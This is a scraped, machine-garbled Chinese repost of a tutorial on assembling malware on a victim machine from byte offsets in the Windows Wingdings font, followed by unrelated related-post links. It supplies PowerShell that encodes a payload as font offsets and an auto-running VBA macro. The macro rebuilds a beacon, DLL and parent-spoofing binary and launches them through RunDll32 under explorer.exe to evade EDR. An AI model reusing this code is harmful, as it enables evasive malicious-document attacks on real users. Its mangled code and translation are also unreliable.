如何利用Windows系统字体来创建恶意软件

技术如何利用Windows系统字体来创建恶意软件这篇文章将为大家详细讲解有关如何利用Windows系统字体来创建恶意软件,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。步骤在大多数情况下

本文将详细解释如何使用Windows系统字体创建恶意软件。边肖觉得很实用,分享给大家参考。希望你看完这篇文章能有所收获。

00-1010在大多数情况下,一般的网络攻击需要分为以下三个步骤:

00-1010a)要执行的恶意代码

b)或

c)非恶意代码,因为Payload可以在第三步下载恶意组件。

00-1010

步骤

a)执行恶意组件。

b)或

c)下载恶意组件,然后执行。

1、 传递一个包含了Payload的文件,该文件需包含:

我想要的解决方案应该满足以下条件:

1.不要包含任何恶意代码(甚至不是恶意字节)来绕过边界保护。

2.不要下载任何恶意代码。

3.最后执行恶意代码。

使用目标主机中的字体自行生成恶意软件。

首先,我们需要找出每个版本的Windows操作系统都包含的一个组件,我发现了这个:

如何利用Windows系统字体来创建恶意软件

我比较了几个版本Windows的Wingdings字体,发现这个字体在每个版本都是一样的。

因此,我打算用这种字体来实现我的“小”目标。我该怎么办?方法大致如下:

1.在我们的主机上收集恶意软件的字节数据。

2.将恶意软件的第一个字节与Wingdings字体进行比较。

3.在字体中找到相同的字节后,记录它在文本文件中的位置。

4.重复这个过程,直到发现恶意软件中包含的所有字节,然后在文本文件中记录它们的位置。

5.我们的有效载荷将包含对应于每个字节的温丁斯字体位置。

6.在目标主机上,Payload将使用Wingdings字体的位置将其转换为字节数据并构建恶意组件。

以下是用于找出字节对应字体位置的PowerShell代码:

$ Font=' c : \ Windows \ Font \ winding . TTF ' $恶意软件=' c : \用户\管理员\图片\ 2。PNG ' $ Font array=Get-Content $ Font-encoding byte-readcount 0 $ Malware array=Get-Content $ Malware-encoding byte-readcount 0 $ offset array=@()foreach($ byteInMalware in $ Malware array){ $ index=0 foreach($ byteInFont in $ Font array){ if($ byteInMalware-eq $ byteInFont){ $ offset array=$ index break } $ index } } PowerShell代码将生成一个VBA代码,您可以将其插入到宏文件中。这段代码将生成一个包含字节位置信息的字节数组,它将负责构建您的恶意组件:

$ i=0 $有效负载=' ' $ j=0 $ u=1 $ PayDef=' ' foreach($ offset in $ offset aray){ n

bsp;if($i -eq 30) {        $payload = $payload + ", " +$offset + " _`r`n"        $i=0              $j++    }    else {       if($i -eq 0) {        $payload = $payload + $offset             }       else {        $payload = $payload + ", " +$offset             }    }    if($j -eq 25)  {        $payDef = $payDef + "`r`nFunctionccc$u()tt$u= Array($payload)ccc$u= tt$uEndFunction"        $payload = ""        $u++        $j = 0    }    $i++}if($payload-ne ""){$payDef= $payDef + "`r`nFunction ccc$u()tt$u= Array($payload)ccc$u= tt$uEndFunction"} $payDef

运行结果如下:

如何利用Windows系统字体来创建恶意软件

下面给出的VBA代码将使用我们之前所创建的字节数组来生成恶意组件。接下来,我们需要选择Explorer.exe来作为RunDll32.exe的父进程(目的是绕过EDR产品),然后通过RunDll32.exe来执行我们的恶意组件。如果你不想把文件写入磁盘的话,你可以尝试结合内存注入技术来使用。

VBA代码如下:

[...]--> you array of bytes containing the position of necessary bytes in theWindings font. 'exampleto join the bytes for the fist malicious component     t1 = cc1    t2 = cc2    t3 = cc3    t4 = cc4    t5 = cc5    t6 = cc6    t7 = cc7    t8 = cc8    t9 = cc9    t10 = cc10    t11 = cc11    t12 = cc12    t13 = cc13    t14 = cc14    t15 = cc15    t16 = cc16    t17 = cc17    t18 = cc18     ttt = Split(Join(t1, ",") &"," & Join(t2, ",") & "," & Join(t3,",") & "," & Join(t4, ",") &"," & Join(t5, ",") & "," & Join(t6,",") & "," & Join(t7, ",") &"," & Join(t8, ",") & "," & Join(t9,",") _     & "," & Join(t10,",") & "," & Join(t11, ",") &"," & Join(t12, ",") & "," &Join(t13, ",") & "," & Join(t14, ",")& "," & Join(t15, ",") & "," &Join(t16, ",") & "," & Join(t17, ",")& "," & Join(t18, ","), ",")  [...]      Dim nb As Integer    Dim nb2 As Integer    nb = UBound(ttt) - LBound(ttt) + 1 'ttt isa joined byte array    nb2 = UBound(tt) - LBound(tt) + 1    nb3 = UBound(ttttttt) - LBound(ttttttt) + 1    Dim intFileNumber As Integer    Dim i As Integer    Dim j As Integer    Dim lngFileSize As Long    Dim lngFileSize2 As Long    Dim strBuffer As String    Dim strBuffer2 As String    Dim lngCharNumber As Long    Dim lngCharNumber2 As Long    Dim strCharacter As String * 1    Dim strCharacter2 As String * 1    Dim strFileName As String    Dim strFileName2 As String    Dim offset() As Variant           strFileName ="C:\Windows\Fonts\wingding.ttf"    intFileNumber = FreeFile    Open strFileName For Binary Access ReadShared As #intFileNumber        lngFileSize = LOF(intFileNumber)        strBuffer = Space$(lngFileSize)        Get #intFileNumber, , strBuffer    Close #intFileNumber    Dim nFileNum As Long   Dim sFilename As String   Dim ind As Long   sFilename2 ="C:\Users\Public\Documents\changeMyParent.exe" ' crafted binary thatwill be use to select the parent of rundll32   sFilename ="C:\Users\Public\Documents\runPoshCode.dll" ' .DLL that will runpowershell beacon from an image   sFilename3 ="C:\Users\Public\Documents\BEACON.ico" ' malicious powershell beaconregistered in an .ICO   nFileNum = FreeFile   ' a loop would be better ;-)   Open sFilename2 For Binary Lock Read WriteAs #nFileNum       For lngCharNumber = 0 To nb - 1        ind = lngCharNumber + 1        off = ttt(lngCharNumber)        strCharacter = Mid(strBuffer, off, 1)        Put #nFileNum, ind, strCharacter       Next lngCharNumber   Close #nFileNum     nFileNum = FreeFile   Open sFilename For Binary Lock Read Write As#nFileNum       For lngCharNumber = 0 To nb2 - 1        ind = lngCharNumber + 1        off = tt(lngCharNumber)        strCharacter = Mid(strBuffer, off, 1)        Put #nFileNum, ind, strCharacter       Next lngCharNumber   Close #nFileNum     nFileNum = FreeFile   Open sFilename3 For Binary Lock Read WriteAs #nFileNum       For lngCharNumber = 0 To nb3 - 1        ind = lngCharNumber + 1        off = ttttttt(lngCharNumber)        strCharacter = Mid(strBuffer, off, 1)        Put #nFileNum, ind, strCharacter       Next lngCharNumber   Close #nFileNum   rrEndSub Subrr()  Dim xx As String  Dim oihfasf As Object, eopuf As Object, kdjAs Object  Dim oDic As Object, a() As Variant  Dim pskaf As Integer   Set oDic =CreateObject("Scripting.Dictionary")   xx = "."   Set oihfasf =GetObject("winmgmts:\\" _      & xx & "\root\CIMV2")  Set eopuf = oihfasf.ExecQuery _      ("Select Name, ProcessID FROMWin32_Process", , 48)   For Each kdj In eopuf      If(kdj.Properties_("Name").Value) = "explorer.exe" Then          pskaf =(kdj.Properties_("ProcessID").Value)      End If  NextDim tAs Date Dimcnt As LongDimarr(2) As Byte Dimxl As Stringxl ="C:\Users\Public\Documents\changeMyParent.exe ""C:\Windows\system32\RunDll32.exeC:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -fC:\Users\Public\Documents\BEACON.ico"" " & pskafxx ="."Setow = GetObject("winmgmts:\\" & xx & "\Root\cimv2")Setos = ow.Get("Win32_ProcessStartup")Setoc = os.SpawnInstance_Setop = GetObject("winmgmts:\\" & xx &"\root\cimv2:Win32_Process")op.Createxl, Null, oc, aslh EndSubSubAutoOpen()    ccEndSubSubWorkbook_Open()    ccEndSub

关于“如何利用Windows系统字体来创建恶意软件”这篇文章就分享到这里了,希望

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/102228.html

(0)

相关推荐

  • spring cloud gateway支持contextPath分析

    技术spring cloud gateway支持contextPath分析本篇内容主要讲解“spring cloud gateway支持contextPath分析”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实

    攻略 2021年11月17日
  • MySQL学习笔记:九、子查询

    技术MySQL学习笔记:九、子查询 MySQL学习笔记:九、子查询子查询指一个查询语句嵌套在另一个查询语句内部的查询,这个特性从 MySQL 4.1 开始引入。
    SQL 中子查询的使用大大增强了 SEL

    礼包 2021年12月15日
  • 七年级上册数学计算题大全,七年级上册数学有理数计算题及答案

    技术七年级上册数学计算题大全,七年级上册数学有理数计算题及答案/tk/showsoft.asp?softid=78603这儿有 [-|98|+76+(-87)]*23[56+(-75)-(7)]-(8+4+3) 5+2

    生活 2021年10月25日
  • 多用户注册登录函数封装版

    技术多用户注册登录函数封装版 多用户注册登录函数封装版要求:
    1.基于文件实现用户注册及登录功能
    2.多用户模式,注册登录功能可循环执行
    3.将功能封装成函数def login():"""用于用户登录的

    礼包 2021年11月15日
  • 四氯化碳的密度,甲苯与四氯化碳的密度关系

    技术四氯化碳的密度,甲苯与四氯化碳的密度关系Br溶于水呈橙黄色四氯化碳的密度,溶于四氯化碳呈橙红色, 由于水的密度比四氯化碳的要小,所以四氯化碳在下面, 渐渐水中的BR就溶到四氯化碳了,
    所以上层无色,下层橙色。

    生活 2021年10月23日
  • android sqlite数据库创建(android studio中sqlite插入数据)

    技术android studio数据存储建立SQLite数据库怎么实现增删查改今天就跟大家聊聊有关android studio数据存储建立SQLite数据库怎么实现增删查改,可能很多人都不太了解,为了让大家更加了解,小编

    攻略 2021年12月20日